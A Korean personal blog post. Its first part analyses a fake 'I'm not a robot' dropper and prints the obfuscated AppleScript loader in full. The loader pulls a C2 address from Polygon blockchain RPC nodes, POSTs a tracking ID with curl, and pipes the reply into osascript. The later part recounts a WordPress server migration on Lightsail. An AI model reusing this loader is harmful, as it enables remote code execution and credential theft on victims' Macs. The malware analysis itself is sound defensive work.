I’m not a robot으로 위장한 Dropper 공격

대체 뭐였을까?

붙여넣어진 명령어에서 bash 부분을 빼고 base64 decoding을 해보면 이렇게 나온다.

뭔가 다운로드 받아서 실행시키고 싶었나 본데… 몇겹의 base64 encoding으로 되어 있는 것을 쫓아가서 풀어봤더니 AppleScript로 되어 있는 다음과 같은 코드가 나왔다. 코드가 난독화 되어 있어서 Gemini한테 역난독화하고 주석을 붙여달라고 했더니 아래와 같이 나왔는데 여전히 난독화가 풀린 것 같진 않다.

-- Define a set of random/decoy variables used as noise
set _ObG8a1ZM9 to "A3EGC4AfU9"
set _DETmKJA to "52Fqm34r"
set __WJxWjLO0VhV to "tAj2qTdBPkYK"
set _gkMBfZej2B to 5210.8957
property _bDLFxkxH : "wKOmhIcC15D12r"
set _nlomypYcp to (533 + 806) * 1
set __dJCRGX0 to 32839
set __apHjXsfpOEL to 5922.862
set __TVouowv to 2908.7709

# Obfuscated list of Web3/Polygon blockchain RPC gateway URLs used as a decentralized C2 (Command & Control) channel
set __wtwLw01 to {((ASCII character 112) & (character id 111) & (character id 108) & (ASCII character 121) & (character id 103) & (character id 111) & (ASCII character 110) & (ASCII character 46) & (ASCII character 100) & (ASCII character 114) & (character id 112) & (character id 99) & ".or" & "g"), ("pol" & (character id 121) & (ASCII character 103) & (character id 111) & "n" & (ASCII character 46) & (ASCII character 112) & "u" & "b" & (ASCII character 108) & (character id 105) & "cno" & "de" & (ASCII character 46) & (character id 99) & (ASCII character 111) & (ASCII character 109)), ((ASCII character 112) & (character id 111) & "lyg" & (ASCII character 111) & (character id 110) & (ASCII character 45) & (ASCII character 109) & "a" & (ASCII character 105) & (character id 110) & (ASCII character 110) & (ASCII character 101) & (ASCII character 116) & (ASCII character 46) & (ASCII character 103) & (character id 97) & "t" & (ASCII character 101) & (ASCII character 119) & (ASCII character 97) & (character id 121) & "." & (character id 116) & (ASCII character 97) & (ASCII character 116) & (character id 117) & "m" & "." & (character id 105) & (character id 111)), ((character id 116) & (character id 101) & (character id 110) & "d" & "e" & (character id 114) & "l" & "y" & (character id 46) & "rp" & "c.p" & "o" & (character id 108) & (ASCII character 121) & "g" & (ASCII character 111) & (character id 110) & "." & (character id 99) & (character id 111) & (character id 109) & (character id 109) & (character id 117) & (character id 110) & (character id 105) & "ty")}

# Constructs the JSON-RPC query block targeting a smart contract address to fetch hidden payload data from the blockchain
set __kTv71oq1Uv to ("{" & (character id 34) & (character id 106) & "s" & (character id 111) & "n" & (ASCII character 114) & (character id 112) & (character id 99) & (ASCII character 34) & (ASCII character 58) & (character id 34) & (ASCII character 50) & (character id 46) & (character id 48) & (character id 34) & (character id 44) & (character id 34) & (ASCII character 109) & "e" & (ASCII character 116) & (ASCII character 104) & "o" & (character id 100) & (character id 34) & ":" & (character id 34) & "eth" & "_ca" & (ASCII character 108) & (character id 108) & (character id 34) & (ASCII character 44) & (ASCII character 34) & "p" & (character id 97) & (character id 114) & (character id 97) & "m" & (character id 115) & (ASCII character 34) & (character id 58) & (ASCII character 91) & (character id 123) & (ASCII character 34) & (ASCII character 116) & (ASCII character 111) & (ASCII character 34) & ":" & (character id 34) & "0" & (character id 120) & (ASCII character 65) & (character id 51) & (ASCII character 97) & "60" & (ASCII character 51) & (character id 70) & "8" & (character id 97) & (character id 52) & (ASCII character 53) & (ASCII character 52) & (ASCII character 97) & (ASCII character 57) & (character id 99) & (ASCII character 57) & (ASCII character 48) & (character id 53) & "b4c" & (ASCII character 53) & "79" & (character id 66) & (ASCII character 9b) & (ASCII character 55) & "26" & "2" & (character id 56) & (character id 70) & "7C" & (ASCII character 49) & (character id 53) & (character id 67) & (character id 50) & (character id 65) & "0" & (character id 34) & (character id 44) & (character id 34) & "dat" & (character id 97) & (ASCII character 34) & ":" & (ASCII character 34) & "0" & "x" & "2" & (character id 54) & (character id 56) & "6" & (character id 101) & (ASCII character 99) & "e" & "a" & (character id 34) & "}" & "," & (ASCII character 34) & "la" & "te" & (ASCII character 115) & "t" & (character id 34) & (ASCII character 93) & "," & (ASCII character 34) & (character id 105) & (character id 100) & (character id 34) & (character id 58) & (character id 49) & (character id 125))

# Obfuscated tracking identifier string sent back to the attacker's server during execution
set __nTqR2MxeI to ("ee" & (ASCII character 97) & (character id 49) & (character id 53) & (ASCII character 58) & (ASCII character 98) & (character id 48) & (character id 52) & "58" & (ASCII character 56) & (ASCII character 55) & "0" & (ASCII character 55) & (character id 51) & (character id 53) & (character id 100) & (ASCII character 97) & (character id 98) & "013" & "237" & (character id 102) & (character id 56) & (ASCII character 49) & (character id 53) & (character id 102) & (character id 100))

# Loop through each RPC node option to query the smart contract data
repeat with __pzNTyUY8S in __wtwLw01
	try
		# Executes a curl POST request to query the blockchain node and parses out the hex response using sed and xxd
		set __EiaNCoJG7 to do shell script ("r" & (ASCII character 61) & "$" & (ASCII character 40) & (ASCII character 99) & (character id 117) & "r" & (character id 108) & (ASCII character 32) & (ASCII character 45) & (character id 115) & (character id 32) & (character id 45) & "-" & (character id 109) & (character id 97) & "x-t" & (character id 105) & "me " & (ASCII character 49) & (character id 53) & (ASCII character 32) & "h" & (ASCII character 116) & (ASCII character 116) & "ps:" & (character id 47) & (character id 47)) & __pzNTyUY8S & (" -X" & (character id 32) & (character id 80) & "OS" & "T -" & (character id 72) & (ASCII character 32) & (ASCII character 39) & "Con" & (ASCII character 116) & (character id 101) & (character id 110) & (character id 116) & (character id 45) & (character id 84) & (ASCII character 121) & (ASCII character 112) & (ASCII character 101) & (ASCII character 58) & (character id 32) & (character id 97) & (ASCII character 112) & (ASCII character 112) & "l" & (character id 105) & (character id 99) & "a" & (ASCII character 116) & (character id 105) & "o" & (character id 110) & "/j" & (character id 115) & (character id 111) & (ASCII character 110) & "' -" & "-" & (ASCII character 100) & (character id 97) & (ASCII character 116) & (character id 97) & (ASCII character 32) & (ASCII character 39)) & __kTv71oq1Uv & ("'" & (character id 41) & (ASCII character 59) & " " & (character id 104) & (ASCII character 61) & (character id 36) & (character id 40) & (character id 101) & (character id 99) & (character id 104) & (character id 110) & (character id 32) & (character id 34) & "$" & (ASCII character 114) & (character id 34) & " | " & (character id 115) & (ASCII character 101) & (character id 100) & " -n" & (character id 32) & (ASCII character 39) & (ASCII character 115) & "/.*" & (character id 34) & (character id 114) & (character id 101) & (character id 115) & (character id 117) & "l" & "t" & (ASCII character 34) & (ASCII character 58) & (character id 34) & (ASCII character 48) & (character id 120) & (ASCII character 92) & "(" & "[" & (ASCII character 94) & (ASCII character 34) & (ASCII character 93) & "*" & (ASCII character 92) & (ASCII character 41) & (character id 34) & ".*/" & (ASCII character 92) & (character id 49) & (character id 47) & "p" & (character id 39) & (character id 41) & (ASCII character 59) & (ASCII character 32) & (ASCII character 91) & (character id 32) & (ASCII character 45) & "z" & " " & (character id 34) & (ASCII character 36) & (character id 104) & (character id 34) & (ASCII character 32) & (character id 93) & (ASCII character 38) & (ASCII character 38) & "e" & (character id 120) & (character id 105) & (character id 116) & " 1;" & " l" & (character id 61) & "$" & (ASCII character 40) & "p" & (character id 114) & (character id 105) & (ASCII character 110) & (ASCII character 116) & (character id 102) & (character id 32) & (character id 34) & "%d" & (ASCII character 34) & (character id 32) & (character id 34) & "0x$" & (character id 123) & "h:6" & "4:6" & "4}" & (character id 34) & (ASCII character 41) & (ASCII character 59) & " " & "e" & (character id 99) & "h" & "o" & (character id 34) & "${h" & (character id 58) & "128" & (character id 58) & (character id 36) & (character id 40) & (character id 40) & (character id 108) & (character id 42) & (ASCII character 50) & (character id 41) & (character id 41) & "}" & (character id 34) & (character id 124) & (ASCII character 120) & "x" & (ASCII character 100) & " -r" & " " & "-" & (character id 112))
		
		# Exit loop early if valid payload content is successfully returned
		if __EiaNCoJG7 is not equal "" then exit repeat
	end try
end repeat

# If the payload retrieval succeeded, construct the final execution command
if __EiaNCoJG7 is not equal "" then
	set __ibSSmET to ((character id 99) & (character id 117) & "rl" & (character id 32) & (ASCII character 45) & (ASCII character 45) & (ASCII character 99) & (character id 111) & "nn" & (character id 101) & (character id 99) & (character id 116) & (ASCII character 45) & "t" & (character id 105) & (character id 109) & (character id 101) & (character id 111) & "u" & (character id 116) & (character id 32) & "5" & " " & (ASCII character 45) & (ASCII character 45) & "m" & "a" & (character id 120) & "-" & "ti" & "m" & (character id 101) & (character id 32) & "2" & (ASCII character 48) & (character id 32) & (ASCII character 45) & (ASCII character 45) & (ASCII character 114) & (character id 101) & "tr" & "y" & (ASCII character 32) & (ASCII character 51) & (ASCII character 32) & (ASCII character 45) & (ASCII character 45) & (character id 114) & "e" & (character id 116) & (character id 114) & (character id 121) & "-" & (ASCII character 101) & (character id 101) & (character id 108) & (ASCII character 97) & (character id 121) & (character id 32) & (character id 53) & (ASCII character 32)) & ((character id 45) & "X" & " " & (ASCII character 80) & (character id 79) & "ST" & " h" & (character id 116) & (character id 116) & (character id 112) & (character id 115) & (ASCII character 58) & (character id 47) & (character id 47)) & quoted form of __EiaNCoJG7 & (character id 32) & ((character id 45) & (character id 100) & (ASCII character 32)) & quoted form of (("txi" & (character id 100) & "=") & __nTqR2MxeI & (string id {38, 98, 109, 111, 100, 117, 108, 101})) & (string id {32, 124, 32, 111, 115, 97, 115, 99, 114, 105, 112, 116})
	
	# Pipe the downloaded secondary payload into osascript for silent background execution
	do shell script __ibSSmET
end if

ApplieScript 까막눈이어서 이게 뭐하는 것인지 알려달라고 했더니, Blockchain network으로 부터 일감(workload)를 받아서 수행할 준비를 해주는 malware이고 주로 다음과 같은 일은 하는데 쓰일 수 있다고 한다.

정보 탈취기 및 자격 증명 수집기: 브라우저에 저장된 비밀번호, 암호화폐 지갑 키, 세션 쿠키, SSH 키, 시스템 설정 파일을 찾아 공격자에게 유출하는 스크립트
암호화폐 채굴 악성코드: Mac의 CPU 및 GPU 연산 능력을 몰래 사용하여 모네로(Monero) 등의 암호화폐를 채굴하는 백그라운드 리소스 탈취기
대화형 백도어 / RAT (원격 접근 트로이 목마): 명령 및 제어(C2) 서버로 리버스 쉘이나 암호화된 터널을 구축하여 공격자가 수동으로 로그인하고, 파일을 검사하며, 터미널 명령을 실행하거나 추가 루트킷을 설치할 수 있도록 하는 페이로드
애드웨어 및 트래픽 리디렉션 도구: 웹 트래픽을 가로채고, 악성 광고를 주입하거나, 검색창을 수익화 또는 피싱 페이지로 리디렉션하는 브라우저 확장 프로그램 주입기나 프록시 유틸리티

SSH service config 일일이 써주기 귀찮다

Ligthtsail 하위 인스턴스로 되돌리기

Back up script

서버 인증서는 백업하기 보다는 재발급 받는게 나을것 같다고 해서 이것을 제외하고 다른 모든 것들을 백업하는 스크립트를 돌려서 만들어진 파일은 크기가 무려 950MB짜리 초대형 슈퍼 울트라 원 클릭 “full_server_migration_backup.tar.gz”이다.

Restore script

이제 가격이 싼 인스턴스를 생성하고 만들어진 백업 파일과 복원 스크립트를 옮기고 복원 script를 실행시켰더니… 적용하는 중에 EOF 에러가 여기저기에서 떨어지면서 뭔가 동작이 조금 이상했다. 마지막 단계에서는 인증서까지 새로 발급 받으려고 하길래 아직 도메인이 적용되지 않았으니 기다리라고 취소를 눌렀다.

후 폭풍과 뒷 수습

자신감 넘치는 AI들의 속삭임에 속은 게 한 두번이 아니기는 하지만 결과물을 보고는 다시 한 번 놀랄 수 밖에 없었다. 복원했다던 wordpress 폴더는 깔끔하게 비워져 있고 설정된 것이라고는 nginx과 database 그리고 php 환경 정도였다. 실제로는 복원 스크립트라기 보다는 LEMP 설치용 스크립트에 가까웠던 것이다.

wordpress 수동복사

그나마 database는 복원이 되어 있었기 때문에 이전 서버의 /var/www/html/ 경로에 있던 WordPress 파일들을 모두 복사해서 새로운 서버에 올려 주었다.

WordPress 설정파일 임시 설정

백업된 /etc/nginx/conf.d/wordpress.conf에는 HTTPS 관련한 설정이 들어가 있는데, 아직 cert. 업데이트를 하지 않은 상태에서는 이상 동작 하기 때문에 해당 파일을 80번에서 HTTP만 대기 하도록 간단히 임시로 수정한다. 물론 이전 설정 파일은 결국 사용할 것이니까 버리지 않고 백업해 두었다.

Certificate update

사실 인증서 업데이트 항목이 복원용 스크립트에 들어가 있다는게 말이 안된다. Cert update를 한다는 건 도메인을 연결한 상태라는 건데 아직 설정중인 서비스가 어떻게 동작할 지도 모르는 걸 도메인 부터 연결 한다는게 AI 급의 엄청난 자신감이 아니라면 안될말이다.

먼저 HTTP로 서비스가 잘 동작하고 기본적인 복원이 된 것을 확인하고, 그 다음에 도메인을 새로운 인스턴스로 연결해 준 뒤에 certbot을 실행시켜서 인증서를 수동으로 업데이트 했다. Lightsail 인스턴스 페이지에서 HTTPS용 443번 포트를 사용할 수 있도록 방화벽 잊지 않고.

WordPress 설정파일 복원

HTTPS를 위한 인증서를 업데이트 했으니 앞서 백업해 두었던 임시파일을 복원하고 nginx를 재실행 해준다.

Redis설치

Redis에 대한 내용이 백업과 복원에서 완전히 빠져 있어서 웹사이트가 실행되지 못하고 있었다. Redis를 설치하고 실행해 주었다.

Imagick 설치와 메모리 부족

이제 WordPress의 건강상태 화면을 확인했더니 php-pecl-imagick 모듈이 설치되지 않아서 건강하지 못한 상태라고 한다. 문제는 여기에서 터졌는데 512MB의 미약한 RAM 크기로는 이 패키지를 설치하는 중에 요구되는 메모리 피크를 감당하지 못하고 설치에 실패했다. 그러고 보니 애초에 비싼 인스턴스로 옮겨갔던 이유도 백업 프로그램 동작 중에 RAM 피크를 감당하지 못해서 문제가 생겼던 것인데 지금도 똑같은 문제가 생기고 있었다.

Swap 확장

“아! 그때는 왜 이생각을 못했을까.”

AI가 해결책이라고 알려준 이 방법은 사실 예전에 비싼 인스턴스로 옮기기 전에도 시도해 봤어야 했다. 현재 기본적으로 주어지는 400MB의 sawp에 추가로 1GB를 할당하고 설치를 재실행했더니, 시간이 좀 걸리기는 했어도 문제 없이 설치가 되었다. “비싼돈 쓰기 전에 swap 확장 부터!” 값진 교훈을 AI로 부터 의도치 않게 전수 받아 마음에 새겨둔다.

한가지 특이했던 점은 새로 만든 1GB swap 공간을 연결하기전에 swap off를 실행하지 않았더니 기존의 크기와 합쳐서 1.4GB의 swap이 인식되었다는 점이다. Swap 공간을 부팅 이후에도 계속 사용하도록 /etc/fstab에 추가해 두었다.

공격 대비

지난번에 “Lightsail 서버가 자꾸 죽어서” 확인했던 XMLRPC와 search flood attack에 대해 새 서버에 대비가 잘 되어 있는지 확인하는 스크립트를 만들어 달라고 했더니 뚝딱 만들어 주었는데 이것은 별 문제 없이 잘 돌려서 확인할 수 있었다.

그 동안 수고 많았다 비싼 친구야

인스턴스에 변경이 있을 때 마다 올리던 버전이 이제는 어느새 6.0이 되었다. 새로운 인스턴스의 건강 상태와 동작을 최종 확인한 다음 1GB, 40GB 짜리 비쌌던 인스턴스는 이제 은퇴하고 다시 예전의 기본 tier로 돌아 오게 되었다.

Litcoder

기억은 짧고 불완전 하다